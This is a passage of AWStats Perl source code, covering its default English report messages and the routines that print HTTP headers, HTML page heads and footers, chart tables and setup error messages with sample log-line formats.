use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
603
 
 
604
 
# DEFAULT MESSAGE
605
 
use vars qw/ @Message /;
606
 
@Message = (
607
 
        'Unknown',
608
 
        'Unknown (unresolved ip)',
609
 
        'Others',
610
 
        'View details',
611
 
        'Day',
612
 
        'Month',
613
 
        'Year',
614
 
        'Statistics for',
615
 
        'First visit',
616
 
        'Last visit',
617
 
        'Number of visits',
618
 
        'Unique visitors',
619
 
        'Visit',
620
 
        'different keywords',
621
 
        'Search',
622
 
        'Percent',
623
 
        'Traffic',
624
 
        'Domains/Countries',
625
 
        'Visitors',
626
 
        'Pages-URL',
627
 
        'Hours',
628
 
        'Browsers',
629
 
        '',
630
 
        'Referers',
631
 
        'Never updated (See \'Build/Update\' on awstats_setup.html page)',
632
 
        'Visitors domains/countries',
633
 
        'hosts',
634
 
        'pages',
635
 
        'different pages-url',
636
 
        'Viewed',
637
 
        'Other words',
638
 
        'Pages not found',
639
 
        'HTTP Error codes',
640
 
        'Netscape versions',
641
 
        'IE versions',
642
 
        'Last Update',
643
 
        'Connect to site from',
644
 
        'Origin',
645
 
        'Direct address / Bookmarks',
646
 
        'Origin unknown',
647
 
        'Links from an Internet Search Engine',
648
 
        'Links from an external page (other web sites except search engines)',
649
 
        'Links from an internal page (other page on same site)',
650
 
        'Keyphrases used on search engines',
651
 
        'Keywords used on search engines',
652
 
        'Unresolved IP Address',
653
 
        'Unknown OS (Referer field)',
654
 
        'Required but not found URLs (HTTP code 404)',
655
 
        'IP Address',
656
 
        'Error&nbsp;Hits',
657
 
        'Unknown browsers (Referer field)',
658
 
        'different robots',
659
 
        'visits/visitor',
660
 
        'Robots/Spiders visitors',
661
 
        'Free realtime logfile analyzer for advanced web statistics',
662
 
        'of',
663
 
        'Pages',
664
 
        'Hits',
665
 
        'Versions',
666
 
        'Operating Systems',
667
 
        'Jan',
668
 
        'Feb',
669
 
        'Mar',
670
 
        'Apr',
671
 
        'May',
672
 
        'Jun',
673
 
        'Jul',
674
 
        'Aug',
675
 
        'Sep',
676
 
        'Oct',
677
 
        'Nov',
678
 
        'Dec',
679
 
        'Navigation',
680
 
        'File type',
681
 
        'Update now',
682
 
        'Bandwidth',
683
 
        'Back to main page',
684
 
        'Top',
685
 
        'dd mmm yyyy - HH:MM',
686
 
        'Filter',
687
 
        'Full list',
688
 
        'Hosts',
689
 
        'Known',
690
 
        'Robots',
691
 
        'Sun',
692
 
        'Mon',
693
 
        'Tue',
694
 
        'Wed',
695
 
        'Thu',
696
 
        'Fri',
697
 
        'Sat',
698
 
        'Days of week',
699
 
        'Who',
700
 
        'When',
701
 
        'Authenticated users',
702
 
        'Min',
703
 
        'Average',
704
 
        'Max',
705
 
        'Web compression',
706
 
        'Bandwidth saved',
707
 
        'Compression on',
708
 
        'Compression result',
709
 
        'Total',
710
 
        'different keyphrases',
711
 
        'Entry',
712
 
        'Code',
713
 
        'Average size',
714
 
        'Links from a NewsGroup',
715
 
        'KB',
716
 
        'MB',
717
 
        'GB',
718
 
        'Grabber',
719
 
        'Yes',
720
 
        'No',
721
 
        'Info.',
722
 
        'OK',
723
 
        'Exit',
724
 
        'Visits duration',
725
 
        'Close window',
726
 
        'Bytes',
727
 
        'Search&nbsp;Keyphrases',
728
 
        'Search&nbsp;Keywords',
729
 
        'different refering search engines',
730
 
        'different refering sites',
731
 
        'Other phrases',
732
 
        'Other logins (and/or anonymous users)',
733
 
        'Refering search engines',
734
 
        'Refering sites',
735
 
        'Summary',
736
 
        'Exact value not available in "Year" view',
737
 
        'Data value arrays',
738
 
        'Sender EMail',
739
 
        'Receiver EMail',
740
 
        'Reported period',
741
 
        'Extra/Marketing',
742
 
        'Screen sizes',
743
 
        'Worm/Virus attacks',
744
 
        'Hit on favorite icon',
745
 
        'Days of month',
746
 
        'Miscellaneous',
747
 
        'Browsers with Java support',
748
 
        'Browsers with Macromedia Director Support',
749
 
        'Browsers with Flash Support',
750
 
        'Browsers with Real audio playing support',
751
 
        'Browsers with Quictime audio playing support',
752
 
        'Browsers with Windows Media audio playing support',
753
 
        'Browsers with PDF support',
754
 
        'SMTP Error codes',
755
 
        'Countries',
756
 
        'Mails',
757
 
        'Size',
758
 
        'First',
759
 
        'Last',
760
 
        'Exclude filter',
761
 
'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
762
 
        'Cluster',
763
 
'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
764
 
        'Numbers after + are successful hits on "robots.txt" files',
765
 
'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
766
 
'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
767
 
        'Traffic viewed',
768
 
        'Traffic not viewed',
769
 
        'Monthly history',
770
 
        'Worms',
771
 
        'different worms',
772
 
        'Mails successfully sent',
773
 
        'Mails failed/refused',
774
 
        'Sensitive targets',
775
 
        'Javascript disabled',
776
 
        'Created by',
777
 
        'plugins',
778
 
        'Regions',
779
 
        'Cities',
780
 
        'Opera versions',
781
 
        'Safari versions',
782
 
        'Chrome versions',
783
 
        'Konqueror versions'
784
 
);
785
 
 
786
 
#------------------------------------------------------------------------------
787
 
# Functions
788
 
#------------------------------------------------------------------------------
789
 
 
790
 
# Function to solve pb with openvms
791
 
sub file_filt (@) {
792
 
        my @retval;
793
 
        foreach my $fl (@_) {
794
 
                $fl =~ tr/^//d;
795
 
                push @retval, $fl;
796
 
        }
797
 
        return sort @retval;
798
 
}
799
 
 
800
 
#------------------------------------------------------------------------------
801
 
# Function:             Write on output header of HTTP answer
802
 
# Parameters:   None
803
 
# Input:                $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
804
 
# Output:               $HeaderHTTPSent=1
805
 
# Return:               None
806
 
#------------------------------------------------------------------------------
807
 
sub http_head {
808
 
        if ( !$HeaderHTTPSent ) {
809
 
                my $newpagecode = $PageCode ? $PageCode : "utf-8";
810
 
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
811
 
                        print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
812
 
                                ? "Content-type: text/html; charset=$newpagecode\n"
813
 
                                : "Content-type: text/xml; charset=$newpagecode\n"
814
 
                        );
815
 
                }
816
 
                else { print "Content-type: text/html; charset=$newpagecode\n"; }
817
 
 
818
 
# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
819
 
                if ( $Expires =~ /^\d+$/ ) {
820
 
                        print "Cache-Control: public\n";
821
 
                        print "Last-Modified: " . gmtime($starttime) . "\n";
822
 
                        print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
823
 
                }
824
 
                print "\n";
825
 
        }
826
 
        $HeaderHTTPSent++;
827
 
}
828
 
 
829
 
#------------------------------------------------------------------------------
830
 
# Function:             Write on output header of HTML page
831
 
# Parameters:   None
832
 
# Input:                %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
833
 
# Output:               $HeaderHTMLSent=1
834
 
# Return:               None
835
 
#------------------------------------------------------------------------------
836
 
sub html_head {
837
 
        my $dir = $PageDir ? 'right' : 'left';
838
 
        if ($NOHTML) { return; }
839
 
        if ( scalar keys %HTMLOutput || $PluginMode ) {
840
 
                my $periodtitle = " ($YearRequired";
841
 
                $periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
842
 
                $periodtitle .= ( $DayRequired   ne ''    ? "-$DayRequired"   : "" );
843
 
                $periodtitle .= ( $HourRequired  ne ''    ? "-$HourRequired"  : "" );
844
 
                $periodtitle .= ")";
845
 
 
846
 
                # Write head section
847
 
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
848
 
                        if ($PageCode) {
849
 
                                print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
850
 
                        }
851
 
                        else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
852
 
                        if ( $FrameName ne 'index' ) {
853
 
                                print
854
 
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n";
855
 
                        }
856
 
                        else {
857
 
                                print
858
 
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
859
 
                        }
860
 
                        print
861
 
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
862
 
                }
863
 
                else {
864
 
                        if ( $FrameName ne 'index' ) {
865
 
                                print
866
 
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
867
 
                        }
868
 
                        else {
869
 
                                print
870
 
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\">\n";
871
 
                        }
872
 
                        print '<html lang="' . $Lang . '"'
873
 
                          . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
874
 
                }
875
 
                print "<head>\n";
876
 
 
877
 
                my $endtag = '>';
878
 
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
879
 
                        $endtag = ' />';
880
 
                }
881
 
 
882
 
                # Affiche tag meta generator
883
 
                print
884
 
"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://awstats.sourceforge.net)\"$endtag\n";
885
 
 
886
 
                # Affiche tag meta robots
887
 
                if ($MetaRobot) {
888
 
                        print "<meta name=\"robots\" content=\""
889
 
                          . ( $FrameName eq 'mainleft' ? 'no' : '' )
890
 
                          . "index,"
891
 
                          . (    $FrameName eq 'mainleft'
892
 
                                  || $FrameName eq 'index' ? '' : 'no' )
893
 
                          . "follow\"$endtag\n";
894
 
                }
895
 
                else {
896
 
                        print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
897
 
                }
898
 
 
899
 
                # Affiche tag meta content-type
900
 
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
901
 
                        print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
902
 
                                ? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
903
 
                                  . ( $PageCode ? $PageCode : "iso-8859-1" )
904
 
                                  . "\" />\n"
905
 
                                : "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
906
 
                                  . ( $PageCode ? $PageCode : "iso-8859-1" )
907
 
                                  . "\"$endtag\n"
908
 
                        );
909
 
                }
910
 
                else {
911
 
                        print
912
 
                          "<meta http-equiv=\"content-type\" content=\"text/html; charset="
913
 
                          . ( $PageCode ? $PageCode : "iso-8859-1" )
914
 
                          . "\"$endtag\n";
915
 
                }
916
 
 
917
 
                if ($Expires) {
918
 
                        print "<meta http-equiv=\"expires\" content=\""
919
 
                          . ( gmtime( $starttime + $Expires ) )
920
 
                          . "\"$endtag\n";
921
 
                }
922
 
                my @k = keys
923
 
                  %HTMLOutput;    # This is to have a unique title and description page
924
 
                print "<meta http-equiv=\"description\" content=\""
925
 
                  . ucfirst($PROG)
926
 
                  . " - Advanced Web Statistics for $SiteDomain$periodtitle"
927
 
                  . ( $k[0] ? " - " . $k[0] : "" )
928
 
                  . "\"$endtag\n";
929
 
                if ( $MetaRobot && $FrameName ne 'mainleft' ) {
930
 
                        print
931
 
"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
932
 
                }
933
 
                print "<title>$Message[7] $SiteDomain$periodtitle"
934
 
                  . ( $k[0] ? " - " . $k[0] : "" )
935
 
                  . "</title>\n";
936
 
                if ( $FrameName ne 'index' ) {
937
 
 
938
 
                        if ($StyleSheet) {
939
 
                                print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
940
 
                        }
941
 
 
942
 
# A STYLE section must be in head section. Do not use " for number in a style section
943
 
                        print "<style type=\"text/css\">\n";
944
 
                        if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
945
 
                        {
946
 
                                print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
947
 
                                        ? "<!--\n"
948
 
                                        : "<![CDATA[\n"
949
 
                                );
950
 
                        }
951
 
                        else { print "<!--\n"; }
952
 
 
953
 
                        if ( !$StyleSheet ) {
954
 
                                print
955
 
"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
956
 
                                print ".aws_bodyl  { }\n";
957
 
                                print
958
 
".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
959
 
                                  . (    $BuildReportFormat eq 'xhtml'
960
 
                                          || $BuildReportFormat eq 'xml' ? "2px" : "1px" )
961
 
                                  . " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
962
 
                                print
963
 
".aws_title  { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
964
 
                                print
965
 
".aws_blank  { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
966
 
                                print <<EOF;
967
 
.aws_data {
968
 
        background-color: #$color_Background;
969
 
        border-top-width: 1px;   
970
 
        border-left-width: 0px;  
971
 
        border-right-width: 0px; 
972
 
        border-bottom-width: 0px;
973
 
}
974
 
.aws_formfield { font: 13px verdana, arial, helvetica; }
975
 
.aws_button {
976
 
        font-family: arial,verdana,helvetica, sans-serif;
977
 
        font-size: 12px;
978
 
        border: 1px solid #ccd7e0;
979
 
        background-image : url($DirIcons/other/button.gif);
980
 
}
981
 
th              { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
982
 
th.aws  { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
983
 
td              { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
984
 
td.aws  { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
985
 
td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
986
 
b { font-weight: bold; }
987
 
a { font: 11px verdana, arial, helvetica, sans-serif; }
988
 
a:link    { color: #$color_link; text-decoration: none; }
989
 
a:visited { color: #$color_link; text-decoration: none; }
990
 
a:hover   { color: #$color_hover; text-decoration: underline; }
991
 
.currentday { font-weight: bold; }
992
 
EOF
993
 
                        }
994
 
 
995
 
                        # Call to plugins' function AddHTMLStyles
996
 
                        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
997
 
                        {
998
 
 
999
 
                                # my $function="AddHTMLStyles_$pluginname()";
1000
 
                                # eval("$function");
1001
 
                                my $function = "AddHTMLStyles_$pluginname";
1002
 
                                &$function();
1003
 
                        }
1004
 
 
1005
 
                        if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
1006
 
                        {
1007
 
                                print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
1008
 
                                        ? "//-->\n"
1009
 
                                        : "]]>\n"
1010
 
                                );
1011
 
                        }
1012
 
                        else { print "//-->\n"; }
1013
 
                        print "</style>\n";
1014
 
                }
1015
 
 
1016
 
# les scripts n�cessaires pour trier avec Tablekit
1017
 
#       print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
1018
 
#       print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
1019
 
#       print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
1020
 
 
1021
 
                print "</head>\n\n";
1022
 
                if ( $FrameName ne 'index' ) {
1023
 
                        print "<body style=\"margin-top: 0px\"";
1024
 
                        if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
1025
 
                        print ">\n";
1026
 
                }
1027
 
        }
1028
 
        $HeaderHTMLSent++;
1029
 
}
1030
 
 
1031
 
#------------------------------------------------------------------------------
1032
 
# Function:             Write on output end of HTML page
1033
 
# Parameters:   0|1 (0=no list plugins,1=list plugins)
1034
 
# Input:                %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
1035
 
# Output:               None
1036
 
# Return:               None
1037
 
#------------------------------------------------------------------------------
1038
 
sub html_end {
1039
 
        my $listplugins = shift || 0;
1040
 
        if ( scalar keys %HTMLOutput ) {
1041
 
 
1042
 
                # Call to plugins' function AddHTMLBodyFooter
1043
 
                foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
1044
 
                {
1045
 
 
1046
 
                        # my $function="AddHTMLBodyFooter_$pluginname()";
1047
 
                        # eval("$function");
1048
 
                        my $function = "AddHTMLBodyFooter_$pluginname";
1049
 
                        &$function();
1050
 
                }
1051
 
 
1052
 
                if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
1053
 
                        print "$Center<br /><br />\n";
1054
 
                        print
1055
 
"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
1056
 
                        print
1057
 
"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://awstats.sourceforge.net\" target=\"awstatshome\">";
1058
 
                        print $Message[169] . " $PROG";
1059
 
                        if ($listplugins) {
1060
 
                                my $atleastoneplugin = 0;
1061
 
                                foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
1062
 
                                        if ( !$atleastoneplugin ) {
1063
 
                                                $atleastoneplugin = 1;
1064
 
                                                print " ($Message[170]: ";
1065
 
                                        }
1066
 
                                        else { print ", "; }
1067
 
                                        print "$pluginname";
1068
 
                                }
1069
 
                                if ($atleastoneplugin) { print ")"; }
1070
 
                        }
1071
 
                        print "</a></span><br />\n";
1072
 
                        if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
1073
 
                }
1074
 
                print "\n";
1075
 
                if ( $FrameName ne 'index' ) {
1076
 
                        if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
1077
 
                                print "<br />\n";
1078
 
                        }
1079
 
                        print "</body>\n";
1080
 
                }
1081
 
                print "</html>\n";
1082
 
 
1083
 
                #               print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
1084
 
        }
1085
 
}
1086
 
 
1087
 
#------------------------------------------------------------------------------
1088
 
# Function:             Print on stdout tab header of a chart
1089
 
# Parameters:   $title $tooltipnb [$width percentage of chart title]
1090
 
# Input:                None
1091
 
# Output:               None
1092
 
# Return:               None
1093
 
#------------------------------------------------------------------------------
1094
 
sub tab_head {
1095
 
        my $title     = shift;
1096
 
        my $tooltipnb = shift;
1097
 
        my $width     = shift || 70;
1098
 
        my $class     = shift;
1099
 
 
1100
 
        # Call to plugins' function TabHeadHTML
1101
 
        my $extra_head_html = '';
1102
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
1103
 
                my $function = "TabHeadHTML_$pluginname";
1104
 
                $extra_head_html .= &$function($title);
1105
 
        }
1106
 
 
1107
 
        if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1108
 
                print
1109
 
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
1110
 
        }
1111
 
        else {
1112
 
                print
1113
 
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1114
 
        }
1115
 
 
1116
 
        if ($tooltipnb) {
1117
 
                print "<tr><td class=\"aws_title\" width=\"$width%\""
1118
 
                  . Tooltip( $tooltipnb, $tooltipnb )
1119
 
                  . ">$title "
1120
 
                  . $extra_head_html . "</td>";
1121
 
        }
1122
 
        else {
1123
 
                print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
1124
 
                  . $extra_head_html . "</td>";
1125
 
        }
1126
 
        print "<td class=\"aws_blank\">&nbsp;</td></tr>\n";
1127
 
        print "<tr><td colspan=\"2\">\n";
1128
 
        if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1129
 
                print
1130
 
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
1131
 
        }
1132
 
        else {
1133
 
                print
1134
 
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1135
 
        }
1136
 
}
1137
 
 
1138
 
#------------------------------------------------------------------------------
1139
 
# Function:             Print on stdout tab ender of a chart
1140
 
# Parameters:   None
1141
 
# Input:                None
1142
 
# Output:               None
1143
 
# Return:               None
1144
 
#------------------------------------------------------------------------------
1145
 
sub tab_end {
1146
 
        my $string = shift;
1147
 
        print "</table></td></tr></table>";
1148
 
        if ($string) {
1149
 
                print
1150
 
"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
1151
 
        }
1152
 
        print "<br />\n\n";
1153
 
}
1154
 
 
1155
 
#------------------------------------------------------------------------------
1156
 
# Function:             Write error message and exit
1157
 
# Parameters:   $message $secondmessage $thirdmessage $donotshowsetupinfo
1158
 
# Input:                $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
1159
 
# Output:               None
1160
 
# Return:               None
1161
 
#------------------------------------------------------------------------------
1162
 
sub error {
1163
 
        my $message = shift || '';
1164
 
        if ( scalar keys %HTMLOutput ) {
1165
 
                $message =~ s/\</&lt;/g;
1166
 
                $message =~ s/\>/&gt;/g;
1167
 
        }
1168
 
        my $secondmessage      = shift || '';
1169
 
        my $thirdmessage       = shift || '';
1170
 
        my $donotshowsetupinfo = shift || 0;
1171
 
 
1172
 
        if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1173
 
        if ( !$HeaderHTMLSent && scalar keys %HTMLOutput )   {
1174
 
                print "<html><body>\n";
1175
 
                $HeaderHTMLSent = 1;
1176
 
        }
1177
 
        if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
1178
 
        my $tagbold     = '';
1179
 
        my $tagunbold   = '';
1180
 
        my $tagbr       = '';
1181
 
        my $tagfontred  = '';
1182
 
        my $tagfontgrey = '';
1183
 
        my $tagunfont   = '';
1184
 
        if ( scalar keys %HTMLOutput ) {
1185
 
                $tagbold     = '<b>';
1186
 
                $tagunbold   = '</b>';
1187
 
                $tagbr       = '<br />';
1188
 
                $tagfontred  = '<span style="color: #880000">';
1189
 
                $tagfontgrey = '<span style="color: #888888">';
1190
 
                $tagunfont   = '</span>';
1191
 
        }
1192
 
        if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
1193
 
 
1194
 
                # Files seems to have bad format
1195
 
                if ( scalar keys %HTMLOutput )   { print "<br /><br />\n"; }
1196
 
                if ( $message !~ $LogSeparator ) {
1197
 
 
1198
 
                        # Bad LogSeparator parameter
1199
 
                        print
1200
 
"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
1201
 
                }
1202
 
                else {
1203
 
 
1204
 
                        # Bad LogFormat parameter
1205
 
                        print
1206
 
"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
1207
 
                        print
1208
 
"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
1209
 
                        print
1210
 
                          "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
1211
 
                        print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
1212
 
                        print
1213
 
                          "This means each line in your web server log file need to have ";
1214
 
                        if ( $LogFormat == 1 ) {
1215
 
                                print
1216
 
"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
1217
 
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1218
 
                                print
1219
 
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1220
 
                                print(
1221
 
                                        scalar keys %HTMLOutput
1222
 
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
1223
 
                                        : ""
1224
 
                                );
1225
 
                        }
1226
 
                        if ( $LogFormat == 2 ) {
1227
 
                                print
1228
 
"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
1229
 
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1230
 
                                print
1231
 
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
1232
 
                                print(
1233
 
                                        scalar keys %HTMLOutput
1234
 
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
1235
 
                                        : ""
1236
 
                                );
1237
 
                        }
1238
 
                        if ( $LogFormat == 3 ) {
1239
 
                                print
1240
 
"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
1241
 
                        }
1242
 
                        if ( $LogFormat == 4 ) {
1243
 
                                print
1244
 
"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
1245
 
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1246
 
                                print
1247
 
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
1248
 
                                print(
1249
 
                                        scalar keys %HTMLOutput
1250
 
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
1251
 
                                        : ""
1252
 
                                );
1253
 
                        }
1254
 
                        if ( $LogFormat == 6 ) {
1255
 
                                print
1256
 
"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
1257
 
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1258
 
                                print
1259
 
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1260
 
                                print(
1261
 
                                        scalar keys %HTMLOutput
1262
 
                                        ? "</i></span>${tagbr}${tagbr}\n"
1263
 
                                        : ""
1264
 
                                );
1265
 
                        }
1266
 
                        if ( $LogFormat !~ /^[1-6]$/ ) {
1267
 
                                print "the following personalized log format:${tagbr}\n";
1268
 
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1269
 
                                print "$LogFormat\n";
1270
 
                                print(
1271
 
                                        scalar keys %HTMLOutput
1272
 
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
1273
 
                                        : ""
1274
 
                                );
1275
 
                        }
1276
 
                        print
1277
 
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
1278
 
                        print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
1279
 
                        print "$secondmessage";
1280
 
                        print(
1281
 
                                scalar keys %HTMLOutput
1282
 
                                ? "</i>$tagunfont${tagbr}${tagbr}"
1283
 
                                : ""
1284
 
                        );
1285
 
                        print "\n";
1286
 
                }
1287
 
 
1288
 
#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
1289
 
#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
1290
 
#print "\n";
1291
 
        }
1292
 
        else {
1293
 
                print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
1294
 
                print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
1295
 
                print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
1296
 
                print "\n";
1297
 
        }
1298
 
        if ( !$ErrorMessages && !$donotshowsetupinfo ) {
1299
 
                if ( $message =~ /Couldn.t open config file/i ) {
1300
 
                        my $dir = $DIR;
1301
 
                        if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
1302
 
                        else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
1303
 
                        print "${tagbr}\n";
1304
 
                        if ( $ENV{'GATEWAY_INTERFACE'} ) {
1305
 
                                print
1306
 
"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
1307
 
                                print
1308
 
"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
1309
 
                                print
1310
 
"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
1311
 
                        }
1312
 
                        else {
1313
 
                                print
1314
 
"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
1315
 
                                print
1316
 
"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
1317
 
                        }
1318
 
                        print
1319
 
"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
1320
 
                        print
1321
 
